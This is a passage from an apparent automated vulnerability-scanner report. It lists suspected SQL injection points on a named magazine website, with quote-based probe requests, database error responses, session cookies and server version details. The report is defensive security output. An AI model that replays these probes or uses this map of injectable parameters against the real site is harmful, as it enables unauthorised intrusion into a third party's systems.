GET /index.php?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:45 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.178. http://www.soundingsonline.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /index.php?option=com_chronocontact&chronoformname=CGPage&1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:47:15 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:47:15 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /index.php?option=com_chronocontact&chronoformname=CGPage&1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:47:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:47:16 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The option parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the option parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /index.php?option=com_chronocontact'&chronoformname=CGPage HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:46:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:46:57 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /index.php?option=com_chronocontact''&chronoformname=CGPage HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:46:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:46:59 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The view parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the view parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /index.php?option=com_content&view=category'&layout=blog&id=98&Itemid=111 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:17 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /index.php?option=com_content&view=category''&layout=blog&id=98&Itemid=111 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:18 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.181. http://www.soundingsonline.com/more/digital-publications [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/more/digital-publications
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /more/digital-publications?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:16 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /more/digital-publications?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:18 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.182. http://www.soundingsonline.com/more/the-masters-series [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/more/the-masters-series
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /more/the-masters-series?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:59 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /more/the-masters-series?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:01 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.183. http://www.soundingsonline.com/news [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /news?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:25:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:25:19 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /news?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:25:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:25:28 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.184. http://www.soundingsonline.com/news/coastwise [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/coastwise
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /news/coastwise?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:24:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:24:55 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /news/coastwise?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:24:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:24:57 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.185. http://www.soundingsonline.com/news/dispatches [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/dispatches
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /news/dispatches?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:25 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /news/dispatches?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:27 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.186. http://www.soundingsonline.com/news/home-waters [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/home-waters
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
